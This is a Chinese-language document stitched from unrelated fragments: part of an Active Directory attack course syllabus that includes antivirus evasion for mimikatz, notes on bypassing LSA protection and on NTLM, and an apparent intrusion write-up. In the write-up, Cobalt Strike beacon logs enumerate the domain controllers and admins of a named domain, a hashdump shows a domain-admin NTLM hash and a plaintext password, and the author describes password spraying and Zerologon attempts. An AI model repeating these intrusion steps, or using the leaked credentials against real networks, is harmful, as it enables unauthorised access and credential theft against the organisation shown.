Active Directory权限提升
主要介绍活动目录权限提升相关的技术,比如Kerberoast,AD权限滥用,Kerberos委派,MSSQL利用,域环境常见提权漏洞的的利用等。
涉及的知识点包括:
活动目录认证
Kerberos认证
Kerberoast
Targeted Kerberoasting
密码碰洒
AD权限滥用
GenericAll
WriteDACL
GenericWrite
Kerberos委派
非约束委派
约束委派
资源基于的约束委派
LAPS
MS Exchange
DNSAdmin
MSSQL利用
漏洞利用
Zerologon
printNightmare
NoPAC
PetitPotam
04
Active Directory横向移动
主要介绍域环境相关的横向移动技术,比如 ,票据传递等,gMSA利用,WSUS利用,针对Azure AD的攻击,以及在内部AD和AzureAD之间的横向移动。
涉及的知识点包括:
Windows凭据介绍
凭据提取
Pass the Hash
Overpass the Hash
Pass the Ticket
gMSA攻击
WSUS利用
SCCM利用
Azure AD攻击
ADFS利用
PTR利用
Azure AD Connect利用
Azure AD to on-prem AD
05
Active Directory森林攻击
主要介绍活动目录森林攻击,包括单个森林跨域攻击,以及多个森林跨森林攻击。
涉及的知识点包括:
森林信任介绍
单个森林枚举
Extra SID利用
Printers利用
AD Certificate Services利用
PERSIST1~2
ESC1~8
CVE-2022-26923
MS Exchange
proxylogon
proxyShell
ProxyNotShell
TabShell
跨森林信任介绍
跨森林枚举
入侵其他森林-Extra SID利用
Linked SQL Servers
跨森林Kerberoast
Foreign Security Pricipals利用
ACLs利用
BloodHound详细介绍
06
Active Directory 权限维持
介绍域环境权限维持相关的技术,比如黄金票据,白银票据,DCSync,DSRM,ACL权限利用,活动目录证书服务利用等。
涉及的知识点包括:
Golden Tickets
DCSync
Sliver Ticket
msDS-AllowedToDelegateTo
Skeleton Key
DSRM
自定义SSP
AdminSDHolder
ACLs权限利用
Security Descriptors
AD CS
07
检测及防御
主要介绍前面相关攻击技术的检测及防御。
涉及的知识点包括:
AD Audit
MDI
MDE
HoneyAccount
Applocker
WDAC
Credential guard
LSA protection
08
常用工具免杀
介绍前面使用到的工具的免杀。
涉及的知识点包括:
Rubeus免杀
PowerView 免杀
mimikatz 免杀
一些推荐的资源
• 收集的一些安全书籍:http://sec-redclub.com/index.php/604.html
• 安全思维导图:https://github.com/phith0n/Mind-Map
• 内网渗透:https://github.com/l3m0n/pentest_study
• 渗透学习:https://github.com/nixawk/pentest-wiki
代理穿透-提权-注入-msf-中间件-域渗透-日志清除-学习资源
域渗透
LSA
从Windows 8.1(和Server 2012 R2)开始,
Microsoft引入了一项称为LSA保护的功能。
此功能基于PPL技术,它是一种纵深防御的安全功能,旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
认为LSA Protection是阻止利用SeDebug或管理员权限从内存中提取凭证的攻击,
例如使用Mimikatz来提取凭证。实际上LSA保护不能抵御这些攻击,它只会让你在执行这些攻击前,需要做一些额外的操作,让攻击变得更加困难一些。
UAC保护绕过(通过Eventvwr注册表项)
要绕过LSA保护,您有几种选择:
1.删除RunAsPPL注册表项并重新启动(这可能是最糟糕的方法,因为您将丢失内存中的所有凭据)
2.通过修改EPROCESS内核结构,在LSASS进程上禁用PPL标志
3.直接读取LSASS过程存储器的内容,而不使用打开的过程函数
AppLocker
Windows最近启动了名为AppLocker的功能。
顾名思义,它只是限制了可以在系统或用户帐户上运行的可执行文件和应用程序。
域委派
指将域内用户的权限委派给服务账号,
使得服务账号能以用户的权限在域内展开活动。
简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。
Kerberos双跳问题
NTLM认证
NTLM是一种windows的验证用户身份的一种机制,多存在于工作组环境下。
可以与smb、http、ldap等协议嵌套使用,攻击者有可能利用这几种协议来进行NTLM-relay
攻击。
NTLM是一种挑战/响应(Challenge/Response)形式的消息,
主要包括三类消息类型
第一步message(negotiation):客户端向服务器发送一个包含明文登录用户名的请求。
第二步message (challenge) :服务端生成一个16位的随机数(即Challenge),明文发送回客户端。
使用登录用户密码hash加密Challenge,获得Challenge1
第三步 message (authentication):
客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,生成response,将response发送给服务器
服务器比较Challenge1和response,如果相同,验证成功。
从这三步骤中,我们可以看到,我们知道用户的密码或者密码hash其中一个就行。
那么为啥我们要获得NTLM呢。通过获得NTLM,我们可以进行hash破解,或者重放攻击。
那么有几种获取NTLM的方式呢
权限委派错误
kerberos委派
用户密码窃取
组策略对象
AD证书服务的错误配置
多域控
多域控主机
头像处任意文件上传
tasklist查看杀软
拿到了边缘机,这里查看systeminfo,发现是2012R2的主机
利用烂土豆直接提上权限
做进程迁移,直接把进程迁移到lsass进程
内网信息收集:
先查看ip,看是否存在双网卡机
进行域管理员和域控的查看
域控:
shell net group "domain Controllers" /domain
[04/26 18:17:00] [*] Tasked beacon to run: net group "domain Controllers" /domain
[04/26 18:17:00] [+] host called home, sent: 69 bytes
[04/26 18:17:00] [+] received output:
The request will be processed at a domain controller for domain FPC.LOCAL.
Group name Domain Controllers
Comment All domain controllers in the domain
Members
-------------------------------------------------------------------------------
AVV-DC1$ AVV-DC2$ AVV-DHDC01$
AVV-DHDC02$
域管:
net group "domain admins" /domain
fpcadmin mqd.ns
mqd.rmm mqd.tdv
前直接归属的域控和主域控:
[04/26 18:27:52] beacon> shell net time /domain
[04/26 18:27:52] [*] Tasked beacon to run: net time /domain
[04/26 18:27:52] [+] host called home, sent: 47 bytes
[04/26 18:27:54] [+] received output:
Current time at \\AVV-DC2.FPC.LOCAL is 4/26/2023 5:27:53 AM
当前是直接被DC2所归属,这里查下主控制器。这里直接使用CS插件来进行渗透
[04/26 18:31:11] [+] =========== 查看主域控制器 ==========
[04/26 18:31:12] [*] Tasked beacon to run: netdom query pdc
[04/26 18:31:12] [+] host called home, sent: 47 bytes
[04/26 18:31:14] [+] received output:
Primary domain controller for the domain:
AVV-DC1
The command completed successfully.
定位域控的IP地址:
这里经过ping之后发现,域控不是都在同一个网段,应该是如下的结构。
密码喷洒
内网存活主机探测:
我先进行了DC段和本机段存活主机的探测,这里直接利用cs的插件(portscan)
portscan 10.2.0.0/24
portscan 10.2.92.30/24
portscan 10.6.0.10/24
portscan 10.11.1.12/24
fscan扫描本机C段:
潦草的扫描到了ftp的匿名登陆,没有扫描到其他有用信息。
做完hashdump之后发现
msv :
[00000003] Primary
* Username : mqd.tdv
* Domain : FPC
* NTLM : 7007ebae678042f1cf112578ac43bf68
* SHA1 : 712ce4bf3a4a777582389d37f8d06158ed204f6b
tspkg :
wdigest :
* Username : mqd.tdv
* Domain : FPC
* Password : QWE123456QE!@#
kerberos :
* Username : mts.tdv
* Domain : FPC
* Password : QWE123456QE!@#
ssp :
credman :
看到了域管的账号就是mqd.tdv,这里直接做密码喷洒,这里转到msf中
上线了如此多的主机,同时,DC2子域控也进行了上线
DC2没有进行留后门和做进程注入,导致第二天上线的时候执行命令出现如下界面
DC挂掉之后的想到的几种方式
启动新进程的时候,系统无法将当前进程的令牌传递给新进程。也就是无法创建进程,所以只能通过其他方式来进行横向渗透。并且后期发现该域管理员密码已经进行修改。
(1)抓去已控主机的hash看是否有其他域管登陆(失败)
因为前面已经拿到了100多台机子的权限,所以能想到的第一个思路就是把100多台主机上的hash都进行一个抓起取,然后看是否可以抓到域管的账号
(2)利用CVE漏洞来进行横向(失败)
之前探测到DC的版本是windows2012 R2版本,所以想到了用ms17-010来进行内网横向,但是这里经过检测之后发现也没有ms17-010的漏洞,所以无法进行横向
(3)利用CVE漏洞来子域控(CVE-2020-1472)(失败)
尝试CVE-2020-1472漏洞,也没有发现可以横向上去,通过poc检测发现是fail的。
(4)尝试攻击exchange服务器,来中继攻陷主机(失败)
抓取机器用户的hash,通过构造密码表,来进行域管的密码喷洒,
这里抓取了100多个的机器用户和几个域内用户做成密码表,重新进行内网横向。